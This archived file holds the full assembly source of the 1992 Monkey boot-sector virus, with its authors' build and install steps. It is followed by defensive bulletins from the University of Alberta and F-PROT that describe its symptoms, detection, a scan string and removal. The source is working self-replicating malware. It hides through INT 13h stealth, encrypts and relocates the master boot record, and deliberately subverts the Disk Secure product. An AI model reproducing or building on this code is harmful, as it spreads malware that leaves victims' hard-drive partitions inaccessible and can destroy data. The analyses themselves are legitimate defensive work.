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Assembly Source File | 1996-01-25 | 22KB | 692 lines

page 70,80 Name Monkey ;******************************************************* ; ; Monkey written at the city of champions ; - Edmonton - by UACVRS - Jan 1992. ; ; Monkey is a full stealth MBR/Boot self-replicating program with ; no payload but it does not save the HD's partition ; table in place. When the "infected" computer is booted ; from a floppy, c: drive will no longer be accessible. ; ; To compile: masm monkey (we used MASM 5.0) ; link monkey ; exe2bin monkey.exe monkey.co ; Use NU, or debug to copy monkey.co to the boot ; sector of a floppy. The diskette will not boot ; but will install itself on the hard drive. ; ; Bug: It will trash any floppies higher than ; 1.44meg, not deliberately. ; ;******************************************************* Code Segment Assume CS:Code,DS:CODE,ES:CODE ORG 00H MAIN: JMP INITIAL ; space above 1fh is for floppy format data ORG 1FH INT_13 EQU THIS BYTE PUSH DS PUSH SI PUSH DI PUSH AX PUSH CX PUSH DX CALL SET_HEAD CMP AH,02H JNZ END_ACTION PUSH DX SUB AX,AX INT 1AH TIME EQU $ + 2 CMP DL,40H POP DX JNB END_ACTION CALL HANDLE_DISK END_ACTION: POP DX POP CX POP AX POP DI PUSH DX PUSH CX PUSH AX CMP CX,03H ; YES, IS SECTOR LESS THAN 3? JNB EXIT_2 ; NO, EXIT CMP DH,BYTE PTR DS:[SI] ; Right head? JNZ EXIT_2 ; NO, EXIT CMP AH,02H ; READ ? JZ STEALTH ; YES, STEALTH CMP AH,03H ; WRITE ? JNZ EXIT_2 ; NO, EXIT ; YES! CMP DL,80H ; HARD DRIVE? JB EXIT_2 ; NO, EXIT SUB AH,AH ; else RESET DISK - make HD light blink JMP SHORT EXIT_2 ; EXIT STEALTH: CALL INT13 ; READ JB EXIT_3 ; ERROR? CALL COMP_SIG ; MY RELATIVE? JZ REDIRECT ; YES, REDIRECT CALL COMP_PA ; NO, IS IT PA? JZ REDIRECT ; YES, REDIRECT EXIT_0: CLC ; NO, RESET FLAG JMP SHORT EXIT_3 ; EXIT REDIRECT: CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL MOV DH,BYTE PTR DS:[SI+1] ; SET RIGHT HEAD POP AX ; RESTORE AX CALL INT13 ; RE-READ CALL ENCRPT_PBR POP CX ; RESTORE CX, DX POP DX JMP SHORT EXIT_4 ; EXIT EXIT_2: CALL INT13 EXIT_3: POP DS POP DS POP DS EXIT_4: POP SI POP DS RETF 0002H READ_SEC_1: MOV AX,0201H ; READ INT13 PROC NEAR PUSHF CALL DWORD PTR CS:INT13_ADDR ;*********** RET INT13 ENDP HOOK_ENTRY EQU THIS BYTE HOOK: INT 12H MOV SI,004CH PUSH SI CMP BYTE PTR CS:HOME_SEC,02H ; I am in sector 2? JZ SETUP_SPECIAL SETUP_NORMAL: CALL SHIFT_NORMAL MOV DI,OFFSET INT13_ADDR MOV CX,0002H CLD REPZ MOVSW JMP SHORT STORE_SEGMENT SETUP_SPECIAL: CALL SHIFT_SPECIAL STORE_SEGMENT: POP SI MOV WORD PTR DS:[SI],OFFSET INT_13 ; STORE MY ENTRY POINT MOV DS:[SI+2],AX ; STORE MY SEGMENT PATCH_OVER: PUSH CS POP DS CALL PATCH ; PATCH OVER PUSH ES ; PUSH SEGMENT MOV AX,OFFSET JMP_ADDR PUSH AX ; PUSH ADDRESS STI RETF ; FAR JMP JMP_ADDR EQU THIS BYTE BOOT: MOV ES,CX MOV BX,SP ; TO 0000:7C00 PUSH CX ; SAVE JMP SEGMENT PUSH BX MOV DX,0080H ; HANDLE C: CALL SET_HEAD CALL HANDLE_DISK BOOT_SEC EQU $ + 1 MOV CL,05H ; FROM SECTOR 3 ???? BOOT_DISK EQU $ + 1 MOV DX,0100H ; C:, HEAD 0 ???? CALL READ_SEC_1 ; INT 13 CALL ENCRPT_PBR RETF HANDLE_DISK PROC NEAR ; *** READ SECTOR 1 *** SUB CX,CX INC CX PUSH CX MOV DH,[SI] ; HEAD CALL READ_SEC_1 ; INT 13 JB END_HANDLE_DISK ; ERROR -> END ; *** COMPARE *** CALL COMP_SIG JZ E_2 ; SAME -> UPDATE MYSELF ; *** PA? *** CALL COMP_PA ; Is it Pagett's disksec? JNZ UPDATE_DISK ; NO ; *** OK? *** INC CX CMP WORD PTR ES:[BX+1FAH],00H ; when this byte in disksec is set ; to 0 means disksec would not do ; checksum of partitions - Pagett ; sucks JZ E_2 ; SAME -> UPDATE MYSELF MOV WORD PTR ES:[BX+1FAH],00H ; set this to zero MOV CL,1H ; write the change back to sector 1 CALL WRITE_SEC_1 ; JB END_HANDLE_DISK ; *** YES! READ SECTOR 2 *** INC CX ; yes,Pagette 's disksecure is on sector 1 MOV DH,[SI+2] ; My relative is on sector 2 - read sector 2 CALL READ_SEC_1 ; INT 13 JB END_HANDLE_DISK ; ERROR -> END POP AX PUSH CX UPDATE_DISK: CALL CHSEC ; CALC. THE SECTOR TO HIDE & PUT IN CL CALL ENCRPT_PBR INC SI CALL WRITE_SEC_1 DEC SI JB END_HANDLE_DISK CALL ENCRPT_PBR PUSH CX CALL PATCH POP CX PUSH DX CMP DL,80H JNB E_1 XOR DL,DL E_1: MOV WORD PTR ES:[BX+BOOT_DISK],DX POP DX MOV BYTE PTR ES:[BX+BOOT_SEC],CL POP CX PUSH CX MOV BYTE PTR ES:[BX+OFFSET HOME_SEC],CL MOV WORD PTR ES:[BX+OFFSET BOOT_SIG],0AA55H E_2: CALL WRITE_SEC_1 END_HANDLE_DISK: POP AX RET HANDLE_DISK ENDP WRITE_SEC_1 PROC NEAR MOV DH,[SI] WRITE_SEC_2: MOV AX,0301H CALL INT13 RET WRITE_SEC_1 ENDP COMP_SIG PROC NEAR CMP ES:[BX+OFFSET PROG_SIG],9219H RET COMP_SIG ENDP COMP_PA PROC NEAR CMP WORD PTR ES:[BX+119H],6150H ; PA? RET COMP_PA ENDP HOME_SEC DB 01H FLOPPY_HEAD DB 00H,01H,01H HARD_HEAD DB 00H,00H,00H ; 360 720 1.2 1.44 FLOP_SECT_TABLE DB 02H,05H,09H,0BH SAVE_SECT_TABLE DB 03H,05H,0EH,0EH CHSEC PROC NEAR PUSH DI PUSH SI MOV AL,ES:[BX+14H] MOV CX,0004H CHSEC_1: MOV SI,CX DEC SI CMP FLOP_SECT_TABLE[SI],AL JZ CHSEC_END_1 LOOP CHSEC_1 MOV CL,03H JMP SHORT CHSEC_END_2 CHSEC_END_1: MOV CL,SAVE_SECT_TABLE[SI] CHSEC_END_2: POP SI POP DI RET CHSEC ENDP SHIFT_NORMAL PROC NEAR ; FIND THE SEGMENT TO HIDE DEC AX MOV DS:[413H],AX SHIFT_SPECIAL: MOV CL,06H SHL AX,CL ADD AL,20H MOV ES,AX RET SHIFT_NORMAL ENDP PATCH PROC NEAR ; PATCH ON BOOT SECTOR STARTING AT BYTE int_13 PUSH SI MOV DI,BX MOV SI,OFFSET INT_13 ADD DI,SI ; CLD MOV CX,OFFSET PROG_END - OFFSET INT_13 REPZ MOVSB PATCH_JMP: MOV DI,BX SUB SI,SI MOV CL,3H REPZ MOVSB POP SI RET PATCH ENDP SET_HEAD PROC NEAR PUSH CS POP DS MOV SI,OFFSET FLOPPY_HEAD CMP DL,80H JB SET_HEAD_EXIT MOV SI,OFFSET HARD_HEAD SET_HEAD_EXIT: RET SET_HEAD ENDP INITIAL: CLI SUB BX,BX MOV DS,BX MOV SS,BX MOV SP,7C00H JMP HOOK NOP NOP ENCRPT_PBR: PUSH DI PUSH CX PUSH AX MOV DI,BX MOV CX,200H CLD ENCRPT_1: MOV AL,ES:[DI] ENCRPT_CODE EQU $ + 0001H XOR AL,2EH STOSB LOOP ENCRPT_1 POP AX POP CX POP DI RET ORG 01F4H ;PROG_NAME DB "Monkey" PROG_NAME DB 6dh,8fh,8eh,8bh,85h,99h ORG 01FAH PROG_SIG DB 19H,92H PROG_END EQU THIS BYTE ORG 01FCH INT13_ADDR DB 00H,00H ORG 01FEH BOOT_SIG DB 55H,0AAH PROG_TAIL EQU THIS BYTE PROG_LEN EQU OFFSET PROG_END - OFFSET INT_13 CODE ENDS END MAIN ; from U of A NEW COMPUTER VIRUS THREAT Posted: July 9, 1992 MONKEY VIRUSES ON PCs The Monkey viruses are main boot record/boot sector infectors, derived from the Empire D virus. Two variants of the Monkey virus have been identified. Of particular concern is the fact these viruses can infect computers protected by the Disk Secure program, while causing no noticeable changes. Symptoms of infection for those computers without Disk Secure include memory reduction and hard drive partitions which are not accessible when booting up with a floppy disk. When the viruses are active on computers without Disk Secure, total memory will be reduced by 1,024 bytes. Monkey viruses destroy partition table data. If an infected system is booted up from a clean boot disk, DOS claims to be unable to access the hard drive partitions. A DIR C: command will return the message, "Invalid drive specification." Detection The simplest method of detection involves recognizing a 1K decrease in memory. The DOS commands CHKDSK and MEM will return 1K less "total conventional memory" than is normal. Of the popular virus scanning products, only F-PROT version 2.04A finds the Monkey viruses, calling them a "New variant of Stoned." It will identify the virus in memory as well. The F-PROT Virstop driver does not recognize the Monkey viruses on boot-up. Disk Secure version 1.15a (ds115a.zip) has a version of the CHKSEC program that will notice the presence of the Monkey viruses. Note that Disk Secure itself will not detect the infection: it is important that the CHKSEC command be called from the autoexec.bat file. As well, a special program to find and remove the Monkey viruses, called KILLMONK, has been written at the University of Alberta. Removal To clean a hard disk: If you have previously saved a copy of the clean main boot record (MBR), then this can be restored. (Many anti-virus products have an automated way of doing this.) If you don't have a copy of the original MBR, and don't know what values your partition table should have, then the KILLMONK program will restore the partition table for you. To restore diskettes: Use the KILLMONK program. The newest version of F-PROT (version 2.04A) and the KILLMONK program, are both available, free of charge, from Computing and Network Services. Bring a formatted diskette to the Microcomputer Demonstration Centre (MDC), in the basement of the Bookstore, or a ready-made diskette can be purchased for $2.00 from the CNS User Support Centre at 302 General Services Building. These programs can also be downloaded from the MTS account VIR. ;From: martin@cs.ualberta.ca (Tim Martin; FSO; Soil Sciences) Subject: WARNING - new viruses, Monkey.1 and Monkey.2 (PC) Date: 20 Jul 92 09:10:09 GMT Virus Name: MONKEY.1, MONKEY.2 (Empire variants) V Status: New Discovery: February, 1992 Symptoms: Memory reduction, hard drive partitions not accessible on floppy bootup. Origin: Alberta, Canada Eff. Length: 512 bytes Type Code: BPRtS (Boot and Partition table infector - Resident TOM - Stealth) Detection: CHKDSK, F-PROT 2.04, CHKSEC from Disk Secure 1.15, KILLMONK Removal: Cold boot from clean, write-protected floppy, replace MBR (hard disk) or Boot Sector (floppy). General Comments: The Monkey viruses are Main Boot Record / Boot Sector infectors, derived from the Empire D virus. Two variants of the Monkey virus have been identified: their most obvious difference is in the initial bytes at offset 0: Monkey.1: E9 CD 01 (JMP 02D0) Monkey.2: EB 1E 90 (JMP 0020 ; NOP) Both variants keep the original sector's data at offset 03h - 1fh. In boot sectors, this region contains data required to identify the diskette format. This solves the problem noticed with earlier variants of Empire, whereby infected 720k diskettes were sometimes unreadable. The Monkey viruses take 1k from the top of memory. When active, total memory will be reduced by 1024 bytes. The Monkey viruses use stealth to protect both the MBR and diskette boot sectors. When active in memory, Int 13h calls cannot access the infected sector of either hard disks or floppies. The Monkey viruses are not polimorphic. They do not encode any of the virus, as was done by some of the earlier Empire variants. But before saving the clean MBR or boot sector to a hiding place, the Monkey viruses do encode that sector, using an "XOR 2Eh". This creates a problem for any disinfecting program that recover the initial boot sector or MBR by copying it from the hiding place. When a hard disk is infected, the encoded MBR is put at side 0, cylinder 0, sector 3. When a floppy diskette is infected, the original boot sector is placed in the bottom sector of the root directory. This means directory entries will be lost only if the root directory is nearly full -- more than 96 entries on double density diskettes, or more than 208 entries on high density diskettes. The virus is designed to identify only the four most common diskette formats. If the diskette is not of a recognized format, the boot sector is put on side 1, sector 3. I have no idea what would happen to a 2.88Mb diskette, but I suspect the virus would damage the File Allocation Table, causing loss of data. The Monkey viruses do not put any messages to the screen at any time, but the virus code does contain, encrypted, the string "Monkey", followed by bytes 1992h. It may be significant that the chinese Year of the Monkey began in February 1992. The most remarkable characteristic of the Monkey viruses is that they were designed as an attack on Padgett Peterson's "Disk Secure" product. When a computer is booted from an infected diskette, the virus first checks whether Disk Secure is on the hard disk. If it is, the virus puts itself in sector 2, rather than sector 1, and slightly modifies Disk Secure, so that Disk Secure will load the virus after Disk Secure has checked the system and loaded itself. The monkey viruses install themselves and above Disk Secure, in memory, at offset 200h. The Monkey viruses do not save the partition table data in place, so if an infected system is booted from a clean boot disk, DOS claims to be unable to access the hard drive partitions. A DIR C: command will return "Invalid drive specification". Detection: Of the popular virus scanning products, only F-PROT 2.04 finds the Monkey viruses, calling them a "New variant of stoned". It will identify the virus in memory as well. The F-PROT Virstop driver does not recognise the Monkey viruses, on boot-up. Disk Secure v. 1.15a (ds115a.zip) has a version of CHKSEC that will notice the presence of the Monkey viruses. Notice that Disk Secure itself will not detect the infection: it is important that the CHKSEC command be called from the autoexec.bat file. The simplest detection still involves recognizing a 1k decrease in memory. CHKDSK and MEM will return 1k less "total conventional memory" than normal. A special program to find and remove the Monkey viruses, called KILLMONK, has been written at the University of Alberta. I hope to make this available to the anti-virus community shortly. Removal: The undocumented /MBR option of FDISK does remove the Monkey virus from the MBR, provided the computer was booted from a clean floppy, but it does not restore the correct partition table values. The problem is that the partition table is not in place in sector one: the table is encoded, in sector 3. To clean a hard disk: If you have previously saved a copy of the clean MBR, then this can be restored. (Many anti-virus products have an automated way of doing this.) If you don't have a copy of the original MBR, and don't know what values your partition table should have, then the KILLMONK program may be what you need. To restore diskettes: Padgett Peterson's FIXFBR works very well, though it doesn't recognize that the disk is infected. Another alternative is the KILLMONK program. Scan String: The following hexidecimal string is in both variants of Monkey. It is from the code the virus uses to recognize itself. 26 81 bf fa 01 19 92 c3 26 81 bf 19 01 50 61 Tim ; From F-PROT Name: Monkey Type: Boot MBR Stealth The Monkey virus was first discovered in Edmonton, Canada, in the year 1991. The virus spread quickly to USA, Australia and UK. Monkey is one of the most common boot sector viruses. As the name indicates, Monkey is a distant relative of Stoned. Its technical properties make it quite a remarkable virus, however. The virus infects the Master Boot Records of hard disks and the DOS boot records of diskettes, just like Stoned. Monkey spreads only through diskettes. Monkey does not let the original partition table remain in its proper place in the Master Boot Record, as Stoned does. Instead it moves the whole Master Boot Record to the hard disk's third sector, and replaces it with its own code. The hard disk is inaccesible after a diskette boot, since the operating system cannot find valid partition data in the Master Boot Record - attempts to use the hard disk result in the DOS error message "Invalid drive specification". When the computer is booted from the hard disk, the virus is executed first, and the hard disk can thereafter be used normally. The virus is not, therefore, easily noticeable, unless the computer is booted from a diskette. The fact that Monkey encrypts the Master Boot Record besides relocating it on the disk makes the virus still more difficult to remove. The changes to the Master Boot Record cannot be detected while the virus is active, since it rerouts the BIOS-level disk calls through its own code. Upon inspection, the hard disk seems to be in its original shape. The relocation and encryption of the partition table render two often-used disinfection procedures unviable. One of these is the MS-DOS command FDISK /MBR, capable of removing most viruses that infect Master Boot Records. The other is using a disk editor to restore the Master Boot Record back on the zero track. Although both of these procedures destroy the actual virus code, the computer cannot be booted from the hard disk afterwards. There are five different ways to remove the Monkey virus: o The original Master Boot Record and partition table can be restored from a backup taken before the infection. Such a backup can be made by using, for example, the MIRROR /PARTN command of MS-DOS 5. o The hard disk can be repartitioned by using the FDISK program, after which the logical disks must be formatted. All data on the hard disk will consequently be lost, however. o The virus code can be overwritten by using FDISK/MBR, and the partition table restored manually. In this case, the partition values of the hard disk must be calculated and inserted in the partition table with the help of a disk editor. The method requires expert knowledge of the disk structure, and its success is doubtful. o It is possible to exploit Monkey's stealth capabilities by taking a copy of the zero track while the virus is active. Since the virus hides the changes it has made, this copy will actually contain the original Master Boot Record. This method is not recommendable, because the diskettes used in the copying may well get infected. o The original zero track can be located, decrypted and moved back to its proper place. As a result, the hard disk is restored to its exact original state. F-PROT uses this method to disinfect the Monkey virus. It is difficult to spot the virus, since it does not activate in any way. A one-kilobyte reduction in DOS memory is the only obvious sign of its presence. The memory can be checked with, for instance, DOS's CHKDSK and MEM programs. However, even if MEM reports that the computer has 639 kilobytes of basic memory instead of the more common 640 kilobytes, it does not necessarily mean that the computer is infected. In many computers, the BIOS allocates one kilobyte of basic memory for its own use. The Monkey virus is quite compatible with different diskette types. It carries a table containing data for the most common diskettes. Using this table, the virus is able to move a diskette's original boot record and a part of its own code to a safe area on the diskette. Monkey does not recognize 2.88 megabyte ED diskettes, however, and partly overwrites their File Allocation Tables.